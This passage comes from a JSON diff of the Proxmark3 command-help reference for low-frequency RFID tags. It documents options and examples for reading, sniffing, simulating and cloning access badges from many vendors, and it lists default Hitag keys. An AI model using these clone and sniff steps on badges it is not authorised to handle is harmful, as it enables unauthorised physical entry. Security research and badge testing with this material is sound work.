filename of dump", + "-1 simulate hitag1", + "-2 simulate hitag2", + "-s simulate hitags" + ], + "usage": "lf hitag eload [-h12s] -f " + }, + "lf hitag info": { + "command": "lf hitag info", + "description": "sniff traffic between hitag reader and tag.", + "notes": [ + "lf hitag info" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "lf hitag info [-h]" + }, + "lf hitag list": { + "command": "lf hitag list", + "description": "alias of `trace list -t hitag2` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "lf hitag list -f -> show frame delay times", + "lf hitag list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "lf hitag list [-h1fcrux] [--dict ]..." + }, + "lf hitag reader": { + "command": "lf hitag reader", + "description": "act like a hitag reader", + "notes": [ + "hitag s", + "lf hitag reader --01 --nrar 0102030411223344", + "lf hitag reader --02 -k 4f4e4d494b52", + "hitag 2", + "lf hitag reader --21 -k 4d494b52", + "lf hitag reader --22 --nrar 0102030411223344", + "lf hitag reader --23 -k 4f4e4d494b52", + "lf hitag reader --26" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--01 hitags, read all pages, challenge mode", + "--02 hitags, read all pages, crypto mode. set key=0 for no auth", + "--21 hitag2, read all pages, password mode. def 4d494b52 (mikr)", + "--22 hitag2, read all pages, challenge mode", + "--23 hitag2, read all pages, crypto mode. key isk high + isk low. def 4f4e4d494b52 (onmikr)", + "--25 hitag2, test recorded authentications (replay?)", + "--26 hitag2, read uid", + "-k, --key key, 4 or 6 hex bytes", + "--nrar nonce / answer reader, 8 hex bytes" + ], + "usage": "lf hitag reader [-h] [--01] [--02] [--21] [--22] [--23] [--25] [--26] [-k ] [--nrar ]" + }, + "lf hitag sim": { + "command": "lf hitag sim", + "description": "simulate hitag2 / hitags transponder you need to `lf hitag eload` first", + "notes": [ + "lf hitag sim -2" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-1 simulate hitag1", + "-2 simulate hitag2", + "-s simulate hitags" + ], + "usage": "lf hitag sim [-h12s]" + }, + "lf hitag sniff": { + "command": "lf hitag sniff", + "description": "sniff traffic between hitag reader and tag. use `lf hitag list` to view collected data.", + "notes": [ + "lf hitag sniff" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "lf hitag sniff [-h]" + }, + "lf hitag writer": { + "command": "lf hitag writer", + "description": "act like a hitag writerin password mode the default key is 4d494b52 (mikr) in crypto mode the default key is 4f4e4d494b52 (onmikr) format: isk high + isk low.", + "notes": [ + "hitag s", + "lf hitag writer --03 --nrar 0102030411223344 -p 3 -d 01020304", + "lf hitag writer --04 -k 4f4e4d494b52 -p 3 -d 01020304", + "hitag 2", + "lf hitag writer --24 -k 4f4e4d494b52 -p 3 -d 01020304", + "lf hitag writer --27 -k 4d494b52 -p 3 -d 01020304" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--03 hitags, write page, challenge mode", + "--04 hitags, write page, crypto mode. set key=0 for no auth", + "--24 hitag2, write page, crypto mode.", + "--27 hitag2, write page, password mode", + "-p, --page page address to write to", + "-d, --data data, 4 hex bytes", + "-k, --key key, 4 or 6 hex bytes", + "--nrar nonce / answer writer, 8 hex bytes" + ], + "usage": "lf hitag writer [-h] [--03] [--04] [--24] [--27] -p [-d ] [-k ] [--nrar ]" + }, + "lf idteck clone": { + "command": "lf idteck clone", + "description": "clone a idteck tag to t55x7 or q5/t5555 tag tag must be on the antenna when issuing this command.", + "notes": [ + "lf idteck clone --raw 4944544b351fbe4b" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw bytes", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf idteck clone [-h] [-r ]... [--q5] [--em]" + }, + "lf idteck help": { + "command": "lf idteck help", + "description": "help this help demod demodulate an idteck tag from the graphbuffer --------------------------------------------------------------------------------------- lf idteck demod available offline: yes try to find idteck preamble, if found decode / descramble data", + "notes": [ + "lf idteck demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf idteck demod [-h]" + }, + "lf idteck reader": { + "command": "lf idteck reader", + "description": "read a idteck tag", + "notes": [ + "lf idteck reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf idteck reader [-h@]" + }, + "lf idteck sim": { + "command": "lf idteck sim", + "description": "enables simulation of idteck card. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf idteck sim --raw 4944544b351fbe4b" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw bytes" + ], + "usage": "lf idteck sim [-h] [-r ]..." + }, + "lf indala altdemod": { + "command": "lf indala altdemod", + "description": "tries to psk demodulate the graphbuffer as indala this is uses a alternative way to demodulate and was used from the beginning in the pm3 client. it's now considered obsolete but remains because it has sometimes its advantages.", + "notes": [ + "lf indala altdemod", + "lf indala altdemod --long -> demod a indala tag from graphbuffer as 224 bit long format" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-l, --long optional - demod as 224b long format" + ], + "usage": "lf indala altdemod [-hl]" + }, + "lf indala clone": { + "command": "lf indala clone", + "description": "clone indala uid to t55x7 or q5/t5555 tag warning, encoding with fc/cn doesn't always work", + "notes": [ + "lf indala clone --heden 888", + "lf indala clone --fc 123 --cn 1337", + "lf indala clone -r a0000000a0002021", + "lf indala clone -r 80000001b23523a6c2e31eba3cbee4afb3c6ad1fcf649393928c14e5" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw bytes", + "--heden cardnumber for heden 2l format", + "--fc facility code (26 bit h10301 format)", + "--cn cardnumber (26 bit h10301 format)", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf indala clone [-h] [-r ]... [--heden ] [--fc ] [--cn ] [--q5] [--em]" + }, + "lf indala help": { + "command": "lf indala help", + "description": "help this help demod demodulate an indala tag (psk1) from graphbuffer altdemod alternative method to demodulate samples for indala 64 bit uid (option '224' for 224 bit) --------------------------------------------------------------------------------------- lf indala demod available offline: yes tries to psk demodulate the graphbuffer as indala", + "notes": [ + "lf indala demod", + "lf indala demod --clock 32 -> demod a indala tag from graphbuffer using a clock of rf/32", + "lf indala demod --clock 32 -i -> demod a indala tag from graphbuffer using a clock of rf/32 and inverting data", + "lf indala demod --clock 64 -i --maxerror 0 -> demod a indala tag from graphbuffer using a clock of rf/64, inverting data and allowing 0 demod errors" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--clock optional - set clock (as integer), if not set, autodetect.", + "--maxerr optional - set maximum allowed errors, default = 100", + "-i, --invert optional - invert output" + ], + "usage": "lf indala demod [-hi] [--clock ] [--maxerr ]" + }, + "lf indala reader": { + "command": "lf indala reader", + "description": "read a indala tag", + "notes": [ + "lf indala reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--clock optional - set clock (as integer), if not set, autodetect.", + "--maxerr optional - set maximum allowed errors, default = 100", + "-i, --invert optional - invert output", + "-@ optional - continuous reader mode" + ], + "usage": "lf indala reader [-hi@] [--clock ] [--maxerr ]" + }, + "lf indala sim": { + "command": "lf indala sim", + "description": "enables simulation of indala card with specified facility-code and card number. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf indala sim --heden 888", + "lf indala sim --raw a0000000a0002021", + "lf indala sim --raw 80000001b23523a6c2e31eba3cbee4afb3c6ad1fcf649393928c14e5" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw bytes", + "--heden cardnumber for heden 2l format" + ], + "usage": "lf indala sim [-h] [-r ]... [--heden ]" + }, + "lf io clone": { + "command": "lf io clone", + "description": "clone a ioprox card with specified facility-code and card number to a t55x7, q5/t5555 or em4305/4469 tag. tag must be on the antenna when issuing this command.", + "notes": [ + "lf io clone --vn 1 --fc 101 --cn 1337" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--vn 8bit version", + "--fc 8bit facility code", + "--cn 16bit card number", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf io clone [-h] --vn --fc --cn [--q5] [--em]" + }, + "lf io help": { + "command": "lf io help", + "description": "help this help demod demodulate an ioprox tag from the graphbuffer --------------------------------------------------------------------------------------- lf io demod available offline: yes try to find ioprox preamble, if found decode / descramble data", + "notes": [ + "lf io demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf io demod [-h]" + }, + "lf io reader": { + "command": "lf io reader", + "description": "read a ioprox tag", + "notes": [ + "lf io reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf io reader [-h@]" + }, + "lf io sim": { + "command": "lf io sim", + "description": "enables simulation of ioprox card with specified facility-code and card number. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf io sim --vn 1 --fc 101 --cn 1337" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--vn 8bit version", + "--fc 8bit facility code", + "--cn 16bit card number" + ], + "usage": "lf io sim [-h] --vn --fc --cn " + }, + "lf io watch": { + "command": "lf io watch", + "description": "enables ioprox compatible reader mode printing details. by default, values are printed and logged until the button is pressed or another usb command is issued.", + "notes": [ + "lf io watch" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "lf io watch [-h]" + }, + "lf jablotron clone": { + "command": "lf jablotron clone", + "description": "clone a jablotron tag to a t55x7, q5/t5555 or em4305/4469 tag. tag must be on the antenna when issuing this command.", + "notes": [ + "lf jablotron clone --cn 01b669", + "lf jablotron clone --q5 --cn 01b669 -> encode for q5/t5555 tag", + "lf jablotron clone --em --cn 01b669 -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--cn jablotron card id - 5 bytes max", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf jablotron clone [-h] --cn [--q5] [--em]" + }, + "lf jablotron help": { + "command": "lf jablotron help", + "description": "help this help demod demodulate an jablotron tag from the graphbuffer --------------------------------------------------------------------------------------- lf jablotron demod available offline: yes try to find jablotron preamble, if found decode / descramble data", + "notes": [ + "lf jablotron demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf jablotron demod [-h]" + }, + "lf jablotron reader": { + "command": "lf jablotron reader", + "description": "read a jablotron tag", + "notes": [ + "lf jablotron reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf jablotron reader [-h@]" + }, + "lf jablotron sim": { + "command": "lf jablotron sim", + "description": "enables simulation of jablotron card with specified card number. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf jablotron sim --cn 01b669" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--cn jablotron card id - 5 bytes max" + ], + "usage": "lf jablotron sim [-h] --cn " + }, + "lf keri clone": { + "command": "lf keri clone", + "description": "clone a keri tag to a t55x7, q5/t5555 or em4305/4469 tag", + "notes": [ + "lf keri clone -t i --cn 12345 -> internal id", + "lf keri clone -t m --fc 6 --cn 12345 -> ms id" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-t, --type type m - ms, i - internal id", + "--fc facility code", + "--cn keri card id", + "--q5 specify writing to q5/t5555 tag", + "--em specify writing to em4305/4469 tag" + ], + "usage": "lf keri clone [-h] [-t ] [--fc ] --cn [--q5] [--em]" + }, + "lf keri help": { + "command": "lf keri help", + "description": "help this help demod demodulate an keri tag from the graphbuffer --------------------------------------------------------------------------------------- lf keri demod available offline: yes try to find keri preamble, if found decode / descramble data", + "notes": [ + "lf keri demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf keri demod [-h]" + }, + "lf keri reader": { + "command": "lf keri reader", + "description": "read a keri tag", + "notes": [ + "lf keri reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf keri reader [-h@]" + }, + "lf keri sim": { + "command": "lf keri sim", + "description": "enables simulation of keri card with internal id. you supply a keri card id and it will converted to a keri internal id.", + "notes": [ + "lf keri sim --cn 112233" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--id keri card id" + ], + "usage": "lf keri sim [-h] --id " + }, + "lf motorola clone": { + "command": "lf motorola clone", + "description": "clone motorola uid to a t55x7, q5/t5555 or em4305/4469 tag. defaults to 64 bit format", + "notes": [ + "lf motorola clone --raw a0000000a0002021", + "lf motorola clone --q5 --raw a0000000a0002021 -> encode for q5/t5555 tag", + "lf motorola clone --em --raw a0000000a0002021 -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw hex bytes. 8 bytes", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf motorola clone [-h] -r [-r ]... [--q5] [--em]" + }, + "lf motorola help": { + "command": "lf motorola help", + "description": "help this help demod demodulate an motorola tag from the graphbuffer --------------------------------------------------------------------------------------- lf motorola demod available offline: yes try to find motorola preamble, if found decode / descramble data", + "notes": [ + "lf motorola demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf motorola demod [-h]" + }, + "lf motorola reader": { + "command": "lf motorola reader", + "description": "read a motorola tag", + "notes": [ + "lf motorola reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf motorola reader [-h@]" + }, + "lf motorola sim": { + "command": "lf motorola sim", + "description": "enables simulation of motorola card with specified card number. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf motorola sim" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "lf motorola sim [-h]" + }, + "lf nedap clone": { + "command": "lf nedap clone", + "description": "clone a nedap tag to a t55x7, q5/t5555 or em4305/4469 tag.", + "notes": [ + "lf nedap clone --st 1 --cc 101 --id 1337" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--st optional - sub type (default 5)", + "--cc customer code (0-4095)", + "--id id (0-99999)", + "-l, --long optional - long (128), default to short (64)", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf nedap clone [-hl] [--st ] --cc --id [--q5] [--em]" + }, + "lf nedap help": { + "command": "lf nedap help", + "description": "help this help demod demodulate nedap tag from the graphbuffer --------------------------------------------------------------------------------------- lf nedap demod available offline: yes try to find nedap preamble, if found decode / descramble data", + "notes": [ + "lf nedap demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf nedap demod [-h]" + }, + "lf nedap reader": { + "command": "lf nedap reader", + "description": "read a nedap tag", + "notes": [ + "lf nedap reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf nedap reader [-h@]" + }, + "lf nedap sim": { + "command": "lf nedap sim", + "description": "enables simulation of nedap card with specified card number. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf nedap sim --st 1 --cc 101 --id 1337" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--st optional - sub type (default 5)", + "--cc customer code (0-4095)", + "--id id (0-99999)", + "-l, --long optional - long (128), default to short (64)" + ], + "usage": "lf nedap sim [-hl] [--st ] --cc --id " + }, + "lf nexwatch clone": { + "command": "lf nexwatch clone", + "description": "clone a nexwatch tag to a t55x7, q5/t5555 or em4305/4469 tag. you can use raw hex values or create a credential based on id, mode and type of credential (nexkey / quadrakey / russian)", + "notes": [ + "lf nexwatch clone --raw 5600000000213c9f8f150c00", + "lf nexwatch clone --cn 521512301 -m 1 --nc -> nexkey credential", + "lf nexwatch clone --cn 521512301 -m 1 --qc -> quadrakey credential", + "lf nexwatch clone --cn 521512301 -m 1 --hc -> honeywell credential" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw hex data. 12 bytes", + "--cn card id", + "-m, --mode mode (decimal) (0-15, defaults to 1)", + "--nc nexkey credential", + "--qc quadrakey credential", + "--hc honeywell credential", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf nexwatch clone [-h] [-r ] [--cn ] [-m ] [--nc] [--qc] [--hc] [--q5] [--em]" + }, + "lf nexwatch help": { + "command": "lf nexwatch help", + "description": "help this help demod demodulate a nexwatch tag (nexkey, quadrakey) from the graphbuffer --------------------------------------------------------------------------------------- lf nexwatch demod available offline: yes try to find nexwatch preamble, if found decode / descramble data", + "notes": [ + "lf nexwatch demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf nexwatch demod [-h]" + }, + "lf nexwatch reader": { + "command": "lf nexwatch reader", + "description": "read a nexwatch tag", + "notes": [ + "lf nexwatch reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf nexwatch reader [-h@]" + }, + "lf nexwatch sim": { + "command": "lf nexwatch sim", + "description": "enables simulation of secura card with specified card number. simulation runs until the button is pressed or another usb command is issued. you can use raw hex values or create a credential based on id, mode and type of credential (nexkey/quadrakey)", + "notes": [ + "lf nexwatch sim --raw 5600000000213c9f8f150c00", + "lf nexwatch sim --cn 521512301 -m 1 --nc -> nexkey credential", + "lf nexwatch sim --cn 521512301 -m 1 --qc -> quadrakey credential", + "lf nexwatch sim --cn 521512301 -m 1 --hc -> honeywell credential" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw hex data. 12 bytes", + "--cn card id", + "-m, --mode mode (decimal) (0-15, defaults to 1)", + "--nc nexkey credential", + "--qc quadrakey credential", + "--hc honeywell credential" + ], + "usage": "lf nexwatch sim [-h] [-r ] [--cn ] [-m ] [--nc] [--qc] [--hc]" + }, + "lf noralsy clone": { + "command": "lf noralsy clone", + "description": "clone a noralsy tag to a t55x7, q5/t5555 or em4305/4469 tag.", + "notes": [ + "lf noralsy clone --cn 112233", + "lf noralsy clone --cn 112233 --q5 -> encode for q5/t5555 tag", + "lf noralsy clone --cn 112233 --em -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--cn noralsy card id", + "-y, --year tag allocation year", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf noralsy clone [-h] --cn [-y ] [--q5] [--em]" + }, + "lf noralsy help": { + "command": "lf noralsy help", + "description": "help this help demod demodulate an noralsy tag from the graphbuffer --------------------------------------------------------------------------------------- lf noralsy demod available offline: yes try to find noralsy preamble, if found decode / descramble data", + "notes": [ + "lf noralsy demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf noralsy demod [-h]" + }, + "lf noralsy reader": { + "command": "lf noralsy reader", + "description": "read a noralsy tag", + "notes": [ + "lf noralsy reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf noralsy reader [-h@]" + }, + "lf noralsy sim": { + "command": "lf noralsy sim", + "description": "enables simulation of noralsy card with specified card number. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf noralsy sim --cn 1337", + "lf noralsy sim --cn 1337 --year 2010" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--cn noralsy card id", + "-y, --year tag allocation year" + ], + "usage": "lf noralsy sim [-h] --cn [-y ]" + }, + "lf pac clone": { + "command": "lf pac clone", + "description": "clone a pac/stanley tag to a t55x7, q5/t5555 or em4305/4469 tag.", + "notes": [ + "lf pac clone --cn cd4f5552", + "lf pac clone --cn cd4f5552 --q5 -> encode for q5/t5555 tag", + "lf pac clone --cn cd4f5552 --em -> encode for em4305/4469", + "lf pac clone --raw ff2049906d8511c593155b56d5b2649f" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--cn 8 byte pac/stanley card id", + "-r, --raw raw hex data. 16 bytes max", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf pac clone [-h] [--cn ] [-r ] [--q5] [--em]" + }, + "lf pac help": { + "command": "lf pac help", + "description": "help this help demod demodulate a pac tag from the graphbuffer --------------------------------------------------------------------------------------- lf pac demod available offline: yes try to find pac/stanley preamble, if found decode / descramble data", + "notes": [ + "lf pac demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf pac demod [-h]" + }, + "lf pac reader": { + "command": "lf pac reader", + "description": "read a pac/stanley tag", + "notes": [ + "lf pac reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf pac reader [-h@]" + }, + "lf pac sim": { + "command": "lf pac sim", + "description": "enables simulation of pac/stanley card with specified card number. simulation runs until the button is pressed or another usb command is issued. the card id is 8 byte number. larger values are truncated.", + "notes": [ + "lf pac sim --cn cd4f5552", + "lf pac sim --raw ff2049906d8511c593155b56d5b2649f" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--cn 8 byte pac/stanley card id", + "-r, --raw raw hex data. 16 bytes max" + ], + "usage": "lf pac sim [-h] [--cn ] [-r ]" + }, + "lf paradox clone": { + "command": "lf paradox clone", + "description": "clone a paradox tag to a t55x7, q5/t5555 or em4305/4469 tag.", + "notes": [ + "lf paradox clone --raw 0f55555695596a6a9999a59a", + "lf paradox clone -r 0f55555695596a6a9999a59a --q5 -> encode for q5/t5555 tag", + "lf paradox clone -r 0f55555695596a6a9999a59a --em -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw hex data. 12 bytes max", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf paradox clone [-h] [-r ] [--q5] [--em]" + }, + "lf paradox help": { + "command": "lf paradox help", + "description": "help this help demod demodulate a paradox fsk tag from the graphbuffer --------------------------------------------------------------------------------------- lf paradox demod available offline: yes try to find paradox preamble, if found decode / descramble data", + "notes": [ + "lf paradox demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf paradox demod [-h]" + }, + "lf paradox reader": { + "command": "lf paradox reader", + "description": "read a paradox tag", + "notes": [ + "lf paradox reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf paradox reader [-h@]" + }, + "lf paradox sim": { + "command": "lf paradox sim", + "description": "enables simulation of paradox card with specified card number. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf paradox sim --raw 0f55555695596a6a9999a59a" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw hex data. 12 bytes" + ], + "usage": "lf paradox sim [-h] [-r ]" + }, + "lf pcf7931 config": { + "command": "lf pcf7931 config", + "description": "this command tries to set the configuration used with pcf7931 commands the time offsets could be useful to correct slew rate generated by the antenna caling without some parameter will print the current configuration.", + "notes": [ + "lf pcf7931 config --reset", + "lf pcf7931 config --pwd 11223344556677 -d 20000", + "lf pcf7931 config --pwd 11223344556677 -d 17500 --lw -10 --lp 30" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-r, --reset reset configuration to default values", + "-p, --pwd password, 7bytes, lsb-order", + "-d, --delay tag initialization delay (in us)", + "--lw offset, low pulses width (in us)", + "--lp offset, low pulses position (in us)" + ], + "usage": "lf pcf7931 config [-hr] [-p ] [-d ] [--lw ] [--lp ]" + }, + "lf pcf7931 help": { + "command": "lf pcf7931 help", + "description": "help this help config configure the password, the tags initialization delay and time offsets (optional) --------------------------------------------------------------------------------------- lf pcf7931 reader available offline: no read a pcf7931 tag", + "notes": [ + "lf pcf7931 reader -@ -> continuous reader mode" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf pcf7931 reader [-h@]" + }, + "lf pcf7931 write": { + "command": "lf pcf7931 write", + "description": "this command tries to write a pcf7931 tag.", + "notes": [ + "lf pcf7931 write --blk 2 --idx 1 -d ff -> write 0xff to block 2, index 1" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --blk [0-7] block number", + "-i, --idx [0-15] index of byte inside block", + "-d, --data one byte to be written" + ], + "usage": "lf pcf7931 write [-h] -b -i -d " + }, + "lf presco clone": { + "command": "lf presco clone", + "description": "clone a presco tag to a t55x7, q5/t5555 or em4305/4469 tag.", + "notes": [ + "lf presco clone -d 018363467", + "lf presco clone -d 018363467 --q5 -> encode for q5/t5555 tag", + "lf presco clone -d 018363467 --em -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-c 8 digit hex card number", + "-d 9 digit presco card id", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf presco clone [-h] [-c ] [-d ] [--q5] [--em]" + }, + "lf presco help": { + "command": "lf presco help", + "description": "help this help demod demodulate presco tag from the graphbuffer --------------------------------------------------------------------------------------- lf presco demod available offline: yes try to find presco preamble, if found decode / descramble data", + "notes": [ + "lf presco demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf presco demod [-h]" + }, + "lf presco reader": { + "command": "lf presco reader", + "description": "read a presco tag", + "notes": [ + "lf presco reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf presco reader [-h@]" + }, + "lf presco sim": { + "command": "lf presco sim", + "description": "enables simulation of presco card with specified card number. simulation runs until the button is pressed or another usb command is issued. per presco format, the card number is 9 digit number and can contain *# chars. larger values are truncated.", + "notes": [ + "lf presco sim -d 018363467" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-c 8 digit hex card number", + "-d 9 digit presco card id" + ], + "usage": "lf presco sim [-h] [-c ] [-d ]" + }, + "lf pyramid clone": { + "command": "lf pyramid clone", + "description": "clone a farpointe/pyramid tag to a t55x7, q5/t5555 or em4305/4469 tag. the facility-code is 8-bit and the card number is 16-bit. larger values are truncated. currently only works on 26bit", + "notes": [ + "lf pyramid clone --fc 123 --cn 11223", + "lf pyramid clone --fc 123 --cn 11223 --q5 -> encode for q5/t5555 tag", + "lf pyramid clone --fc 123 --cn 11223 --em -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--fc 8-bit value facility code", + "--cn 16-bit value card number", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf pyramid clone [-h] --fc --cn [--q5] [--em]" + }, + "lf pyramid help": { + "command": "lf pyramid help", + "description": "help this help demod demodulate a pyramid fsk tag from the graphbuffer --------------------------------------------------------------------------------------- lf pyramid demod available offline: yes try to find farpoint/pyramid preamble, if found decode / descramble data", + "notes": [ + "lf pyramid demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf pyramid demod [-h]" + }, + "lf pyramid reader": { + "command": "lf pyramid reader", + "description": "read a farpointe/pyramid tag", + "notes": [ + "lf pyramid reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf pyramid reader [-h@]" + }, + "lf pyramid sim": { + "command": "lf pyramid sim", + "description": "enables simulation of farpointe/pyramid card with specified card number. simulation runs until the button is pressed or another usb command is issued. the facility-code is 8-bit and the card number is 16-bit. larger values are truncated. currently work only on 26bit", + "notes": [ + "lf pyramid sim --fc 123 --cn 1337" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--fc 8-bit value facility code", + "--cn 16-bit value card number" + ], + "usage": "lf pyramid sim [-h] --fc --cn " + }, + "lf read": { + "command": "lf read", + "description": "sniff low frequency signal. - use `lf config` to set parameters. - use `data plot` to look at it", + "notes": [ + "lf read -v -s 12000 -> collect 12000 samples", + "lf read -s 3000 -@ -> oscilloscope style" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --samples number of samples to collect", + "-v, --verbose verbose output", + "-@ continuous reading mode" + ], + "usage": "lf read [-hv@] [-s ]" + }, + "lf search": { + "command": "lf search", + "description": "read and search for valid known tag. for offline mode, you can `data load` first then search.", + "notes": [ + "lf search -> try reading data from tag & search for known tag", + "lf search -1 -> use data from graphbuffer & search for known tag", + "lf search -u -> try reading data from tag & search for known and unknown tag", + "lf search -1u -> use data from graphbuffer & search for known and unknown tag" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1 use data from graphbuffer to search", + "-c continue searching even after a first hit", + "-u search for unknown tags. if not set, reads only known tags" + ], + "usage": "lf search [-h1cu]" + }, + "lf securakey clone": { + "command": "lf securakey clone", + "description": "clone a securakey tag to a t55x7, q5/t5555 or em4305/4469 tag.", + "notes": [ + "lf securakey clone --raw 7fcb400001adea5344300000", + "lf securakey clone --q5 --raw 7fcb400001adea5344300000 -> encode for q5/t5555 tag", + "lf securakey clone --em --raw 7fcb400001adea5344300000 -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw hex data. 12 bytes", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf securakey clone [-h] -r [--q5] [--em]" + }, + "lf securakey help": { + "command": "lf securakey help", + "description": "help this help demod demodulate an securakey tag from the graphbuffer 